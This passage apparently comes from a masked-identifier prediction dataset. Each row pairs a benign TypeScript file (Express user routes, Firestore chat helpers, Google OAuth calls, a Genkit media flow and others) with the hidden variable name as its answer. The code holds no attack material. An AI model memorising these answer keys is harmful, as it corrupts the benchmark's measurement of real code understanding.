                state('side', style(
                    { transform: `translate3d(${moveLeft},0,0)` }
                )),

                transition('inactive => active', animate('100ms ease-in')),
                transition('active => inactive', animate('100ms ease-out')),
                transition('inactive => side', animate('100ms ease-in'))
            ])];
    }
}

state('in', style({ transform: 'translateX(0)' })),
    transition('void => *', [
        style({ transform: 'translateX(-100%)' }),
        animate(100)
    ]),
    transition('* => void', [
        animate(100, style({ transform: 'translateX(100%)' }))
    ])
",growFactor
372,"import { Request, Response } from ""express"";
import { getManager } from ""typeorm"";
import { UserEntity } from ""../entity/user.entity"";

export namespace UserAction {
  /**
  * Loads all users from the database.
  */
  export async function getAll(request: Request, response: Response) {

    // get a user repository to perform operations with user
    const userRepository = getManager().getRepository(UserEntity);

    // load a user by a given user id
    const users = await userRepository.find();

    // return loaded users
    response.send(users);
  }

  /**
   * Loads user by a given id.
   */
  export async function getById(request: Request, response: Response) {

    // get a post repository to perform operations with user
    const userRepository = getManager().getRepository(UserEntity);

    // load a post by a given post id
    const user = await userRepository.findOne(request.params.id);

    // if user was not found return 404 to the client
    if (!user) {
      response.status(404);
      response.end();
      return;
    }

    // return loaded post
    response.send(user);
  }

  /**
   * Saves given user.
   */
  export async function save(request: Request, response: Response) {

    // get a user repository to perform operations with user
    const userRepository = getManager().getRepository(UserEntity);

    // create a real user object from user json object sent over http
    const  [MASK]  = userRepository.create(request.body);

    // save received user
    await userRepository.save( [MASK] );

    // return saved user back
    response.send( [MASK] );
  }
}",newUser
373,"(() => {
  const fps = 64;
  const rotateRange = 500;
  const stayRange = 1000;
  const scaleRange = 3000;
  const scaleRate = 0.01;
  const ballRange = stayRange + scaleRange;
  const interval = Math.round(1000 / fps);
  const maxTime = 4 * scaleRange + 4 * stayRange + 3 * rotateRange;

  type State = {
    time: number;
    reverse: boolean;
    screens: Array<
      Readonly<{
        main: HTMLElement;
        text: HTMLElement;
        balls: HTMLElement;
      }>
    >;
  };

  const state: State = {
    time: 0,
    reverse: false,
    screens: [],
  };

  function setStyle(
    self: HTMLElement,
    style: Partial<CSSStyleDeclaration>
  ): void {
    Object.keys(style).forEach(
      (key) => (self.style[key as any] = style[key as any] as string)
    );
  }

  function tag<K extends keyof HTMLElementTagNameMap>(name: K): HTMLElement {
    return document.createElement(name);
  }

  function div(): HTMLElement {
    return tag(""div"");
  }

  function text(value: string): Text {
    return document.createTextNode(value);
  }

  function newContainer() {
    const self = div();
    setStyle(self, {
      position: `fixed`,
      top: `0px`,
      left: `0px`,
      width: `100vw`,
      height: `100vh`,
    });

    self.append(
      newScreen({
        message: ""JavaScript"",
        ballColors: [`pink`, `orange`, `tomato`, `hotpink`, `violet`],
        backgroundColor: `orangered`,
      }),
      newScreen({
        message: ""TypeScript"",
        ballColors: [
          `darkseagreen`,
          `teal`,
          `darkgreen`,
          `palegreen`,
          `yellowgreen`,
        ],
        backgroundColor: `green`,
      }),
      newScreen({
        message: ""CoffeeScript"",
        ballColors: [`yellow`, `khaki`, `peru`, `wheat`, `gold`],
        backgroundColor: `orange`,
      }),
      newScreen({
        message: ""LiveScript"",
        ballColors: [
          `royalblue`,
          `lightskyblue`,
          `darkblue`,
          `lightblue`,
          `turquoise`,
        ],
        backgroundColor: `blue`,
      })
    );

    return self;
  }

  function newScreen({
    message,
    ballColors,
    backgroundColor,
  }: Readonly<{
    message: string;
    ballColors: string[];
    backgroundColor: string;
  }>) {
    const self = div();
    const angle = state.screens.length === 0 ? 0 : 90;
    setStyle(self, {
      position: `fixed`,
      top: `0px`,
      left: `0px`,
      width: `100vw`,
      height: `100vh`,
      backgroundColor,
      display: `flex`,
      flexDirection: `column`,
      justifyContent: `center`,
      alignItems: `center`,
      transform: `rotate(${angle}deg)`,
      transformOrigin: `bottom left`,
      overflow: `hidden`,
    });

    const text = newText(message);
    const balls = newBalls(ballColors);
    state.screens.push({
      main: self,
      balls,
      text,
    });
    self.append(balls, text);

    return self;
  }

  function newBalls(colors: string[]) {
    const self = div();
    setStyle(self, {
      position: ""absolute"",
      top: `0px`,
      left: `0px`,
    });
    self.append(...Array.from({ length: 100 }).map(() => newBall(colors)));
    return self;
  }

  function newBall(colors: string[]) {
    const self = div();
    const radius = Math.round(Math.random() * 60 + 15);
    const colorIndex = Math.round(Math.random() * colors.length);
    const left = Math.round(Math.random() * window.innerWidth);
    const top = Math.round(
      Math.random() *
        (window.innerHeight + stayRange + scaleRange + rotateRange)
    );
    setStyle(self, {
      position: `absolute`,
      left: `${left}px`,
      top: `${top}px`,
      width: `${radius * 2}px`,
      height: `${radius * 2}px`,
      borderRadius: `${radius}px`,
      backgroundColor: `${colors[colorIndex]}`,
    });

    return self;
  }

  function newText(value: string) {
    const self = div();
    setStyle(self, {
      position: `relative`,
      fontSize: `3rem`,
      fontWeight: `bold`,
      color: `white`,
      transform: `scale(${scaleRange * scaleRate + 1})`,
    });

    self.append(text(value));

    return self;
  }

  function onFrame( [MASK] : number) {
    const time = state.time;
    const screen = state.screens[ [MASK] ];
    const startY =
       [MASK]  === 0
        ? 0
        :  [MASK]  * (scaleRange + stayRange) + ( [MASK]  - 1) * rotateRange;

    if (screen !== null) {
      if ( [MASK]  > 0) {
        const angle =
          time < startY
            ? 90
            : time > startY + rotateRange
            ? 0
            : 90 - ((time - startY) * 90) / rotateRange;
        setStyle(screen.main, {
          transform: `rotate(${angle}deg)`,
        });
      }

      const ballY = time - startY - ( [MASK]  === 0 ? 0 : rotateRange);
      if (ballY > 0 && ballY < ballRange + rotateRange) {
        setStyle(screen.balls, {
          transform: `translateY(${-ballY}px)`,
        });
      }

      const scaleY = time - startY - ( [MASK]  === 0 ? 0 : rotateRange);
      if (scaleY > 0 && scaleY < scaleRange) {
        setStyle(screen.text, {
          transform: `scale(${(scaleRange - scaleY) * scaleRate + 1})`,
        });
      }
    }
  }

  window.onload = () => {
    setStyle(document.body, {
      position: `relative`,
    });

    window.setInterval(() => {
      state.screens.forEach((_, i) => onFrame(i));
      if (!state.reverse) state.time += interval;
      else state.time -= interval;
      if (state.time < 0) state.reverse = false;
      else if (state.time > maxTime) state.reverse = true;
    }, interval);

    document.body.append(newContainer());
  };
})();
",index
374,"import { Construct, Stack, StackProps } from '@aws-cdk/core';
import { NetworkBuilder } from '@aws-cdk/aws-ec2/lib/network-util';
import { ICoreProject, ICoreAccount } from '.';

export interface AccountStackProps extends StackProps {
  cidr: string;
}

export class AccountStack extends Stack implements ICoreAccount {
  readonly Project: ICoreProject;
  readonly Name: string;
  readonly NetworkBuilder: NetworkBuilder;

  constructor(project: ICoreProject, name: string, props: AccountStackProps) {
    super(project.Scope, `Core-${name}-Account`, props);

    const { cidr } = props;

    this.Project = project;
    this.Name = name;
    this.NetworkBuilder = new NetworkBuilder(cidr);
  }
}

export class ImportedAccount extends Construct implements ICoreAccount {
  readonly Project: ICoreProject;
  readonly Name: string;
  constructor( [MASK] : Construct, project: ICoreProject, name: string) {
    super( [MASK] , `Core-${name}-Account`);

    this.Project = project;
    this.Name = name;
  }
}
",scope
375,"import { collection, query, where, getDocs, addDoc, orderBy, onSnapshot } from 'firebase/firestore';
import { database } from '../../../firebase';

// Function to get or create a chat between two users
export const getOrCreateChat = async (userId1: string | number, userId2: string | number) => {
  const chatsRef = collection(database, 'chats');

  // Convertir IDs a string para mantener consistencia en Firestore
  const userId1Str = userId1.toString();
  const userId2Str = userId2.toString();

  // Check if a chat already exists between the two users
  const q = query(chatsRef, where('participants', 'array-contains', userId1Str));
  const querySnapshot = await getDocs(q);

  let chat = null;

  querySnapshot.forEach(doc => {
    const data = doc.data();
    if (data.participants.includes(userId2Str)) {
      chat = { id: doc.id, ...data };
    }
  });


  // If chat exists, return it
  if (chat) {
    return chat;
  }

  // If chat doesn't exist, create a new one
  if (!chat) {
    const newChat = await addDoc(chatsRef, {
      participants: [userId1Str, userId2Str],
      // Aquí agregas el objeto unreadCounts
      unreadCounts: {
        [userId1Str]: 0,
        [userId2Str]: 0
      },
      lastMessage: '',
      lastUpdated: new Date()
    });
    return { id: newChat.id, participants: [userId1Str, userId2Str] };
  }
};

// Function to load messages for a specific chat
export const loadMessages = (chatId: string, setMessages: Function) => {
  const messagesRef = collection(database, `chats/${chatId}/messages`);
  const q = query(messagesRef, orderBy('createdAt', 'desc'));

  const  [MASK]  = onSnapshot(q, querySnapshot => {
    const messages = querySnapshot.docs.map(doc => ({
      _id: doc.id,
      ...doc.data(),
      createdAt: doc.data().createdAt.toDate(),
    }));
    setMessages(messages);
  });

  return  [MASK] ;
};

export const startChat = async (senderId: number, receiverId: number) => {
  try {
    const chatsRef = collection(database, 'chats');

    // Convertir los IDs a cadenas para comparaciones en Firestore
    const senderIdStr = senderId.toString();
    const receiverIdStr = receiverId.toString();

    // Buscar si ya existe un chat entre los dos usuarios
    const q = query(chatsRef, where('participants', 'array-contains', senderIdStr));
    const querySnapshot = await getDocs(q);

    let chatId: string | null = null;

    querySnapshot.forEach(doc => {
      const data = doc.data();
      if (data.participants.includes(receiverIdStr)) {
        chatId = doc.id; // Chat ya existe
      }
    });

    // Si no existe un chat, crearlo
    if (!chatId) {
      const newChat = await addDoc(chatsRef, {
        participants: [senderIdStr, receiverIdStr],
        unreadCounts: {
          [senderIdStr]: 0,
          [receiverIdStr]: 0
        },
        lastMessage: '', // Inicializa con un mensaje vacío
        lastUpdated: new Date(), // Marca de tiempo para ordenar
      });
      chatId = newChat.id;
    }

    return chatId;
  } catch (error) {
    console.error('Error starting chat:', error);
    return null;
  }
};
",unsubscribe
376,"import { _decorator, Component, EventTarget, Prefab, instantiate } from 'cc';
const { ccclass, property } = _decorator;
import { ShadowDrawer } from './ShadowDrawer';

export const houseFactoryEventTarget: EventTarget = new EventTarget();
enum HouseFactoryEvent {
    REBUILD_HOUSES
};

@ccclass('HouseFactory')
export class HouseFactory extends Component {
    static eventTarget: EventTarget = houseFactoryEventTarget;
    static EventType: typeof HouseFactoryEvent = HouseFactoryEvent;

    @property({ type: [Prefab] })
    public prefabs: Prefab[] = [];
    @property
    public houseCount: number = 25;

    private _houses: Array<any> = [];

    onLoad() {
        this._generateHouses();
        houseFactoryEventTarget.on(HouseFactoryEvent.REBUILD_HOUSES, this.onRebuildHouses, this);
    }

    _getRandomPlace(side: number) {
        return Math.floor(Math.random() * side - side / 2);
    }

    _generateHouses() {
        this.node.children.forEach(child => child.destroy());
        this._houses = [];

        const side = Math.ceil(Math.sqrt(this.houseCount)) * 2;

        let  [MASK]  = 0;
        while ( [MASK]  < this.houseCount) {
            const x = this._getRandomPlace(side);
            const y = this._getRandomPlace(side);

            const houseExist = this._houses.find(house => house.x === x && house.y === y) !== undefined;
            if (x !== 0 && y !== 0 && !houseExist) {
                const prefab = this.prefabs[Math.floor(Math.random() * this.prefabs.length)];
                this._houses.push({ 
                    node: instantiate(prefab), 
                    x, 
                    y,
                    posX: (x - y) * 80, 
                    posY: (x + y) * -40
                });
                 [MASK] ++;
            }
        }

        this._houses.sort((a, b) => b.posY - a.posY);
        this._houses.forEach(house => {
            house.node.setPosition(house.posX, house.posY);
            house.node.setParent(this.node);
        });

        ShadowDrawer.eventTarget.emit(ShadowDrawer.EventType.REDRAW_SHADOW);
    }

    onRebuildHouses() {
        ShadowDrawer.eventTarget.emit(ShadowDrawer.EventType.CLEAR_SHADOW_OBJECTS);
        this._generateHouses();
    }
}


",counter
377,"import {
  DocumentDefinition,
  FilterQuery,
  QueryOptions,
  UpdateQuery,
} from ""mongoose"";
import UserModel, { UserDocument, UserInput } from ""../models/user.model"";
import { omit } from ""lodash"";
import config from ""config"";
import axios from ""axios"";
import qs from ""qs"";
import log from ""../utils/logger"";

export async function createUser( [MASK] : UserInput) {
  try {
    const user = (await UserModel.create( [MASK] )) as UserDocument;
    return omit(JSON.parse(JSON.stringify(user)), ""password"");
  } catch (e: any) {
    throw new Error(e);
  }
}

export async function validatePassword({
  email,
  password,
}: {
  email: string;
  password: string;
}) {
  const user = (await UserModel.findOne({ email })) as UserDocument;
  if (!user) return false;
  const isValid = await user.comparePassword(password);
  if (!isValid) return false;
  return omit(JSON.parse(JSON.stringify(user)), ""password"");
}

export async function findUser(query: FilterQuery<UserDocument>) {
  return UserModel.findOne(query).lean();
}

interface GoogleTokensResult {
  access_token: string;
  expires_in: Number;
  refresh_token: string;
  scope: string;
  id_token: string;
}

export async function getGoogleOAuthTokens({
  code,
}: {
  code: string;
}): Promise<GoogleTokensResult> {
  const url = ""https://oauth2.googleapis.com/token"";

  const values = {
    code,
    client_id: config.get(""googleClientId""),
    client_secret: config.get(""googleClientSecret""),
    redirect_uri: config.get(""googleOauthRedirectUrl""),
    grant_type: ""authorization_code"",
  };

  try {
    const res = await axios.post<GoogleTokensResult>(
      url,
      qs.stringify(values),
      {
        headers: {
          ""Content-Type"": ""application/x-www-form-urlencoded"",
        },
      }
    );
    return res.data;
  } catch (error: any) {
    console.error(error.response.data.error);
    log.error(error, ""Failed to fetch Google Oauth Tokens"");
    throw new Error(error.message);
  }
}

interface GoogleUserResult {
  id: string;
  email: string;
  verified_email: boolean;
  name: string;
  given_name: string;
  family_name: string;
  picture: string;
  locale: string;
}

export async function getGoogleUser({
  id_token,
  access_token,
}: {
  id_token: string;
  access_token: string;
}): Promise<GoogleUserResult> {
  try {
    const res = await axios.get<GoogleUserResult>(
      `https://www.googleapis.com/oauth2/v1/userinfo?alt=json&access_token=${access_token}`,
      {
        headers: {
          Authorization: `Bearer ${id_token}`,
        },
      }
    );
    return res.data;
  } catch (error: any) {
    log.error(error, ""Error fetching Google user"");
    throw new Error(error.message);
  }
}

export async function findAndUpdateUser(
  query: FilterQuery<UserDocument>,
  update: UpdateQuery<UserDocument>,
  options: QueryOptions = {}
) {
  return UserModel.findOneAndUpdate(query, update, options);
}
",input
378,"//
// Copyright 2014-21 <NAME>
//
// Licensed under the Apache License, Version 2.0 (the ""License"");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//      http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an ""AS IS"" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

/**
 * @file A simple container object for the auditory description of an
 * object. This is modelled after the navigation descriptions of ChromeVox,
 * originally authored by <EMAIL> (<NAME>)
 * @author <EMAIL> (<NAME>)
 */

import { Grammar } from '../rule_engine/grammar.js';
import { Span } from './span.js';

interface AudioDescr {
  context?: string;
  text: string;
  userValue?: string;
  annotation?: string;
  attributes?: { [key: string]: string };
  personality?: { [key: string]: string };
  layout?: string;
}

interface AudioFlags {
  adjust?: boolean;
  preprocess?: boolean;
  correct?: boolean;
  translate?: boolean;
}

export class AuditoryItem {

  public prev: AuditoryItem = null;
  public next: AuditoryItem = null;

  constructor(public data: AuditoryDescription = null) {}

}

export class AuditoryList extends Set<AuditoryItem> {

  public annotations: AuditoryItem[] = [];

  private anchor: AuditoryItem;

  constructor(descrs: AuditoryDescription[]) {
    super();
    this.anchor = new AuditoryItem();
    this.anchor.next = this.anchor;
    this.anchor.prev = this.anchor;
    descrs.forEach(
      d => {
        let item = new AuditoryItem(d);
        if (d.annotation) {
          this.annotations.push(item);
        }
        this.push(item);
      }
    );
  }

  public first() {
    return this.empty ? null : this.anchor.next;
  }

  public last() {
    return this.empty ? null : this.anchor.prev;
  }

  public push(item: AuditoryItem) {
    item.next = this.anchor;
    item.prev = this.anchor.prev;
    item.prev.next = item;
    this.anchor.prev = item;
    super.add(item);
  }

  public pop() {
    let item = this.last();
    if (!item) {
      return null;
    }
    this.delete(item);
    return item
  }

  public delete(item: AuditoryItem) {
    if (!this.has(item)) {
      return false;
    }
    super.delete(item);
    item.prev.next = item.next;
    item.next = item.prev;
    return true;
  }

  public insertAfter(descr: AuditoryDescription, item: AuditoryItem) {
    this.insertBefore(descr, item.next);
  }

  public insertBefore(descr: AuditoryDescription, item: AuditoryItem) {
    let  [MASK]  = new AuditoryItem(descr);
    if (!item || !this.has(item)) {
      this.push( [MASK] );
      return;
    }
    item.prev.next =  [MASK] ;
     [MASK] .prev = item.prev;
     [MASK] .next = item;
    item.prev =  [MASK] ;
  }

  public prevText(item: AuditoryItem) {
    do {
      item = item.prev;
    } while (item !== this.anchor && !item.data.text)
    return item === this.anchor ? null : item;
  }

  public *[Symbol.iterator](): IterableIterator<AuditoryItem> {
    let current = this.anchor.next;
    while (current !== this.anchor) {
      yield current;
      current = current.next;
    }
  }

  public nextText(item: AuditoryItem) {
    while (item !== this.anchor && !item.data.text) {
      item = item.next;
    }
    return item;
  }

  public clear() {
    this.anchor.next = this.anchor;
    this.anchor.prev = this.anchor;
    super.clear();
  }

  public empty() {
    return this.anchor.prev === this.anchor &&
      this.anchor === this.anchor.next;
  }

  public toList(): AuditoryDescription[] {
    let result = [];
    let item = this.anchor.next;
    while (item !== this.anchor) {
      result.push(item.data);
      item = item.next;
    }
    return result;
  }

}

export class AuditoryDescription {

  /**
   * context The context. This is all spoken with an annotation voice.
   */
  public context: string;

  /**
   * The text of the object itself.
   */
  public text: string;

  /**
   *  userValue The text that the user has entered. Currently ignored.
   */
  public userValue: string;

  /**
   * annotation The role and state of the object.
   */
  public annotation: string;

  /**
   * Additional attributes.
   */
  public attributes: { [key: string]: string };

  /**
   *  personality Optional TTS personality to use for the text.
   */
  public personality: { [key: string]: string };

  /**
   * A layout annotation. Always a single string!
   */
  public layout: string;

  /**
   * Create an auditory description from given components.
   *
   * @param args The arguments for this
   *  description.
   * @param flags Flags to force grammar
   *      processing options.
   * @returns The newly created auditory description.
   */
  public static create(
    args: AudioDescr,
    flags: AudioFlags = {}
  ): AuditoryDescription {
    args.text = Grammar.getInstance().apply(args.text, flags);
    return new AuditoryDescription(args);
  }

  /**
   * A class representing the description of navigation from one object to
   * another.
   *
   * @param root0 The arguments for this description.
   * @param root0.context Context of the utterance.
   * @param root0.text Text of the utterance
   * @param root0.userValue A use defined value.
   * @param root0.annotation An annotation.
   * @param root0.attributes Additional attributes to preserve.
   * @param root0.personality The personality annotation.
   * @param root0.layout A layout annotation.
   */
  constructor({
    context,
    text,
    userValue,
    annotation,
    attributes,
    personality,
    layout
  }: AudioDescr) {
    this.context = context || '';
    this.text = text || '';
    this.userValue = userValue || '';
    this.annotation = annotation || '';
    this.attributes = attributes || {};
    this.personality = personality || {};
    this.layout = layout || '';
  }

  /**
   * @returns true if this description is empty.
   */
  public isEmpty(): boolean {
    return (
      this.context.length === 0 &&
      this.text.length === 0 &&
      this.userValue.length === 0 &&
      this.annotation.length === 0
    );
  }

  /**
   * Clones the Auditory description.
   *
   * @returns The new description.
   */
  public clone(): AuditoryDescription {
    let personality: { [key: string]: string };
    if (this.personality) {
      personality = {};
      for (const [key, val] of Object.entries(this.personality)) {
        personality[key] = val;
      }
    }
    let attributes: { [key: string]: string };
    if (this.attributes) {
      attributes = {};
      for (const [key, val] of Object.entries(this.attributes)) {
        attributes[key] = val;
      }
    }
    return new AuditoryDescription({
      context: this.context,
      text: this.text,
      userValue: this.userValue,
      annotation: this.annotation,
      personality: personality,
      attributes: attributes,
      layout: this.layout
    });
  }

  /**
   * @returns A string representation of this object.
   */
  public toString(): string {
    return (
      'AuditoryDescription(context=""' +
      this.context +
      '"" ' +
      ' text=""' +
      this.text +
      '"" ' +
      ' userValue=""' +
      this.userValue +
      '"" ' +
      ' annotation=""' +
      this.annotation +
      '"")'
    );
  }

  /**
   * @returns A string representation of this object.
   */
  public descriptionString(): string {
    return this.context && this.text
      ? this.context + ' ' + this.text
      : this.context || this.text;
  }

  /**
   * @returns A span representation
   *     of this object.
   */
  public descriptionSpan(): Span {
    return Span.stringAttr(this.descriptionString(), this.attributes);
  }

  /**
   * Compares two AuditoryDescriptions.
   *
   * @param that An auditory description.
   * @returns True if equal.
   */
  public equals(that: AuditoryDescription): boolean {
    return (
      this.context === that.context &&
      this.text === that.text &&
      this.userValue === that.userValue &&
      this.annotation === that.annotation
    );
  }
}
",nitem
379,"import { Observable } from 'rxjs/Observable';
import { BehaviorSubject } from 'rxjs/BehaviorSubject';

import { MenuTree,
         Menu,
         MenuItem } from '@server-src/data-classes/menu-model';

import { TechModel,
         TechProfile,
         TechMapEntry } from '@server-src/data-classes/tech-model';
export class Tech extends TechModel {

    public static fromJSON( [MASK] : any) {

        let tech = new Tech();
        tech.fromJSON( [MASK] );
        return tech;
    }

    menuTreeSubject: BehaviorSubject<MenuTree>; 
    profileSubject: BehaviorSubject<TechProfile>;
    mapEntrySubject: BehaviorSubject<TechMapEntry>;

    constructor(email?: string)
    {
        super();

        this.profile.email = email;
        this.profileSubject = new BehaviorSubject<TechProfile>(this.profile);

        this.mapEntrySubject = new BehaviorSubject<TechMapEntry>(this.mapEntry);

        this.techMenu = new MenuTree();
        this.menuTreeSubject = new BehaviorSubject<MenuTree>(this.techMenu);
    }

    /* Observables */
    public getMenuTree(): Observable<MenuTree> {

        return this.menuTreeSubject.asObservable();
    }

    public getProfileObserver(): Observable<TechProfile> {

        return this.profileSubject.asObservable();
    }

    public getMapEntryObserver(): Observable<TechMapEntry> {

        return this.mapEntrySubject.asObservable();
    }
    /* ************** */

    public storeAuthData(authData: any, callback: (token: string) => void) {

        this.authToken = authData.auth;

        if (authData.menu) {

            this.techMenu.fromJSON(authData.menu)
        }
        else {

            this.techMenu = new MenuTree();
        }
        this.menuTreeSubject.next(this.techMenu);

        callback(this.authToken);
    }

    public clearAuthData(): boolean {
        this.authToken = """";
        this.profile = new TechProfile();
        this.mapEntry = new TechMapEntry();

        this.techMenu = new MenuTree();
        this.menuTreeSubject.next(this.techMenu);

        return true;
    }

    public storeProfile(profile: string) {
        this.fromJSON(profile);
        this.profileSubject.next(this.profile);
        this.mapEntrySubject.next(this.mapEntry);
    }
}

export class TechList {
    
    techs: Tech[]

    constructor(list?: any) {

        this.techs = [];

        if (list == undefined) {
            return;
        }

        list.forEach(techJSON => { this.techs.push(Tech.fromJSON(techJSON)); });     
    }
}",json
380,"'use server';

/**
 * @fileOverview An AI-powered creative studio to generate advanced audiovisual concepts.
 * 
 * - creativeStudio - A function that handles the creative generation process.
 * - CreativeStudioInput - The input type for the creativeStudio function.
 * - CreativeStudioOutput - The return type for the creativeStudio function.
 */

import { ai } from '@/ai/genkit';
import { z } from 'zod';
import wav from 'wav';

const CreativeStudioInputSchema = z.object({
  concept: z.string().describe(""A user's core idea, concept, or feeling.""),
});
export type CreativeStudioInput = z.infer<typeof CreativeStudioInputSchema>;

const CreativeStudioOutputSchema = z.object({
  analysis: z.object({
    title: z.string().describe(""A creative and evocative title for the generated piece.""),
    artisticDescription: z.string().describe(""A detailed and poetic description of the entire audiovisual concept.""),
    visualPrompt: z.string().describe(""A highly detailed and artistic prompt, ready to be sent to a 'Triple-A' quality image generation model. It should include details about style, lighting, composition, and mood.""),
    soundscapeComposition: z.string().describe(""A description of the musical composition, including mood, instruments, tempo, and emotional arc.""),
    soundscapeVocalization: z.string().describe(""A short text of non-linguistic vocalizations (e.g., 'Ooommm', 'Aaaahhhh', humming sounds) that the TTS model can generate to create an abstract, continuous, and relaxing soundscape. It should not contain descriptive words.""),
  }),
  imageUrl: z.string().describe(""A data URI of a generated image representing the scene.""),
  soundscapeUrl: z.string().describe(""A data URI of a generated soundscape audio file.""),
});
export type CreativeStudioOutput = z.infer<typeof CreativeStudioOutputSchema>;


export async function creativeStudio(input: CreativeStudioInput): Promise<CreativeStudioOutput> {
  return creativeStudioFlow(input);
}

const analysisPrompt = ai.definePrompt({
    name: 'creativeStudioAnalysisPrompt',
    input: { schema: CreativeStudioInputSchema },
    output: { schema: CreativeStudioOutputSchema.shape.analysis },
    prompt: `Eres un director creativo multimedia de un estudio de arte ""Triple-A"". Tu especialidad es transformar conceptos simples en experiencias audiovisuales profundas y de alta calidad.

    **Concepto del Usuario:** {{{concept}}}

    A partir de este concepto, genera un análisis creativo completo con los siguientes componentes:
    1.  **title:** Crea un título poético y memorable para la obra.
    2.  **artisticDescription:** Escribe una descripción artística global que capture la esencia de la pieza, uniendo lo visual y lo sonoro en una narrativa coherente.
    3.  **visualPrompt:** Diseña un prompt de texto EXTREMADAMENTE detallado para un modelo de generación de imágenes de última generación. Especifica el estilo artístico (ej: fotorrealista, fantasía épica, cyberpunk, acuarela), la paleta de colores, la iluminación (ej: luz dorada del atardecer, neones melancólicos), la composición (ej: plano general, primer plano), la atmósfera y la emoción que debe evocar. ¡Sé muy específico y creativo!
    4.  **soundscapeComposition:** Describe la composición musical que acompañará la imagen. Piensa en términos de un compositor: ¿qué instrumentos imaginarios o reales usarías? ¿Cuál es el tempo, la dinámica y el arco emocional de la pieza? ¿Es minimalista, orquestal, electrónico?
    5.  **soundscapeVocalization:** Traduce la descripción de la composición a un texto corto de vocalizaciones no lingüísticas (ej. 'Mmmmm-oooo-aaaaaahhh-eeeeeh') que un modelo de texto-a-voz pueda usar para generar una banda sonora abstracta y evocadora. Debe ser un sonido continuo y relajante.`,
});

const imageGenerationFlow = ai.defineFlow(
  {
    name: 'creativeStudioImageGenerationFlow',
    inputSchema: z.string(),
    outputSchema: z.string(),
  },
  async (visualPrompt) => {
    const finalPrompt = `Una obra de arte digital de calidad ""Triple-A"", cinematográfica, increíblemente detallada y evocadora. Estilo fotorrealista con toques de fantasía épica, iluminación dramática. Sin texto. La escena es: ${visualPrompt}`;
    
    const { media } = await ai.generate({
      model: 'googleai/gemini-2.0-flash-preview-image-generation',
      prompt: finalPrompt,
      config: {
        responseModalities: ['TEXT', 'IMAGE'],
      },
    });

    if (!media || !media.url) {
        throw new Error(""La IA no pudo generar una imagen para la escena."");
    }
    return media.url;
  }
);

async function toWav(
  pcmData: Buffer,
  channels = 1,
  rate = 24000,
  sampleWidth = 2
): Promise<string> {
  return new Promise((resolve, reject) => {
    const writer = new wav.Writer({
      channels,
      sampleRate: rate,
      bitDepth: sampleWidth * 8,
    });

    let bufs = [] as any[];
    writer.on('error', reject);
    writer.on('data', function (d) {
      bufs.push(d);
    });
    writer.on('end', function () {
      resolve(Buffer.concat(bufs).toString('base64'));
    });

    writer.write(pcmData);
    writer.end();
  });
}

const soundscapeGenerationFlow = ai.defineFlow(
  {
    name: 'creativeStudioSoundscapeGenerationFlow',
    inputSchema: z.string(),
    outputSchema: z.string(),
  },
  async (vocalization) => {
    const ttsPrompt = `Genera una composición sonora abstracta y de alta calidad usando las siguientes vocalizaciones como guía. El resultado debe ser un audio musical y evocador, no una simple lectura de los sonidos: ${vocalization}`;
    
    const { media } = await ai.generate({
      model: 'googleai/gemini-2.5-flash-preview-tts',
      config: {
        responseModalities: ['AUDIO'],
        speechConfig: {
          voiceConfig: {
            prebuiltVoiceConfig: { voiceName: 'Algenib' },
          },
        },
      },
      prompt: ttsPrompt,
    });

    if (!media || !media.url) {
        throw new Error(""La IA no pudo generar un paisaje sonoro."");
    }

    const audioBuffer = Buffer.from(
      media.url.substring(media.url.indexOf(',') + 1),
      'base64'
    );
    
    const  [MASK]  = await toWav(audioBuffer);
    return 'data:audio/wav;base64,' +  [MASK] ;
  }
);

const creativeStudioFlow = ai.defineFlow(
  {
    name: 'creativeStudioFlow',
    inputSchema: CreativeStudioInputSchema,
    outputSchema: CreativeStudioOutputSchema,
  },
  async (input) => {
    const { output: analysis } = await analysisPrompt(input);
    
    if (!analysis) {
        throw new Error(""La IA no pudo generar el análisis creativo. Por favor, intenta de nuevo con un concepto diferente."");
    }
    
    const [imageUrl, soundscapeUrl] = await Promise.all([
      imageGenerationFlow(analysis.visualPrompt),
      soundscapeGenerationFlow(analysis.soundscapeVocalization)
    ]);

    return {
      analysis: analysis,
      imageUrl,
      soundscapeUrl,
    };
  }
);
",wavBase64
381,"import { ConversionSettings } from '../types';
import { saveAs } from 'file-saver';
import JSZip from 'jszip';
import { PDFDocument } from 'pdf-lib';
import mammoth from 'mammoth';

export class FileConverter {
  async convertFile(file: File, targetFormat: string, settings: ConversionSettings): Promise<Blob> {
    const fileType = this.getFileCategory(file);
    
    switch (fileType) {
      case 'image':
        return this.convertImage(file, targetFormat, settings);
      case 'document':
        return this.convertDocument(file, targetFormat, settings);
      case 'audio':
        return this.convertAudio(file, targetFormat, settings);
      case 'video':
        return this.convertVideo(file, targetFormat, settings);
      case 'archive':
        return this.convertArchive(file, targetFormat, settings);
      default:
        throw new Error(`Unsupported file type: ${fileType}`);
    }
  }

  private getFileCategory(file: File): string {
    if (file.type.startsWith('image/')) return 'image';
    if (file.type.startsWith('video/')) return 'video';
    if (file.type.startsWith('audio/')) return 'audio';
    if (file.type.includes('pdf') || file.type.includes('document') || file.type.includes('text')) return 'document';
    if (file.type.includes('zip') || file.type.includes('rar')) return 'archive';
    return 'document';
  }

  private async convertImage(file: File, targetFormat: string, settings: ConversionSettings): Promise<Blob> {
    return new Promise((resolve, reject) => {
      const canvas = document.createElement('canvas');
      const ctx = canvas.getContext('2d');
      const img = new Image();

      img.onload = () => {
        canvas.width = img.width;
        canvas.height = img.height;
        
        if (ctx) {
          ctx.drawImage(img, 0, 0);
          
          const quality = settings.imageQuality / 100;
          
          canvas.toBlob((blob) => {
            if (blob) {
              resolve(blob);
            } else {
              reject(new Error('Failed to convert image'));
            }
          }, this.getMimeType(targetFormat), quality);
        } else {
          reject(new Error('Failed to get canvas context'));
        }
      };

      img.onerror = () => reject(new Error('Failed to load image'));
      img.src = URL.createObjectURL(file);
    });
  }

  private async convertDocument(file: File, targetFormat: string, settings: ConversionSettings): Promise<Blob> {
    const  [MASK]  = file.name.split('.').pop()?.toLowerCase();
    
    try {
      if ( [MASK]  === 'docx' && targetFormat === 'html') {
        const arrayBuffer = await file.arrayBuffer();
        const result = await mammoth.convertToHtml({ arrayBuffer });
        return new Blob([result.value], { type: 'text/html' });
      }

